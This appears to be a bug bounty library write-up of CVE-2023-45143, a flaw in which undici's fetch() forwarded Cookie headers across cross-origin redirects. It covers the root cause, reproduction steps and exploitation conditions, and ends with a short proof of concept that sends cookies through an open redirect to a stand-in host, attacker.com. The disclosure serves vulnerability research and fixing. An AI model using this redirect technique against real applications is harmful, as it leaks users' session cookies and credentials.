# Cookie headers are not cleared in cross-domain redirect in undici-fetch

undici's fetch() failed to strip Cookie headers on cross-origin redirects, leaking cookies to attacker-controlled redirect targets.

- Payout: $405
- Severity: low
- Program: Internet Bug Bounty
- Found by: ranjit_p
- Disclosed: 2024-01-20
- CVE: CVE-2023-45143
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/2243710
- Library page: https://bugbountylibrary.com/r/h1%3A2243710
- Tags: area:oss domain:oss impact:data-leak kind:bounty platform:hackerone sev:low tech:nodejs technique:incomplete-fix technique:regression vuln:info-disclosure

**Target:** undici-fetch (Node.js undici v5.24.0) redirect handling
**Root cause:** undici's fetch implementation did not clear forbidden Cookie headers on cross-origin redirects, unlike the lower-level request() API which did; spec assumes browsers forbid setting Cookie in RequestInit, but undici allows it.
**Steps:**
1. Read advisory GHSA-q768-x9m6-m9qp claiming sensitive headers are cleared on cross-domain redirect.
2. Reproduce with `request()` from undici: `request('http://anysite.com/redirect.php?url=http://attacker:8182', {maxRedirections:3, headers:{cookie:'ddd=dddd'}})` — cookie correctly stripped.
3. Repeat with `fetch()` from undici: `fetch('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv', {maxRedirections:3, headers:{Cookie:'ddd=dddd'}})` — cookie is forwarded to attacker host.
4. Observe attacker server receives the Cookie header.
**How found:** Researcher read the prior undici advisory about header clearing on cross-domain redirects, verified request() behaved correctly, then hypothesized the fetch() wrapper might diverge and tested the same scenario against fetch().
**Exploitation:** Attacker needs a redirector on the victim origin (e.g. open redirect) or control of a redirect target; victim app using undici fetch with Cookie set in headers follows redirect and forwards cookie to attacker host.
**Insight:** When a security fix lands in one API surface (request), test sibling wrappers (fetch) that share redirect logic — spec-vs-implementation gaps around forbidden headers are a recurring source of leaks.

## Proof of concept (copied exactly from the original report)

**undici fetch cross-domain redirect cookie leak PoC**

```
import { fetch } from 'undici'

const res = await fetch('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
        maxRedirections: 3,
        headers: {
            AutHorization: 'test',
            Cookie: "ddd=dddd"
        }})
const json = await res.json()
console.log(json)

here http://attacker.com:8182/ will get above cookie
```

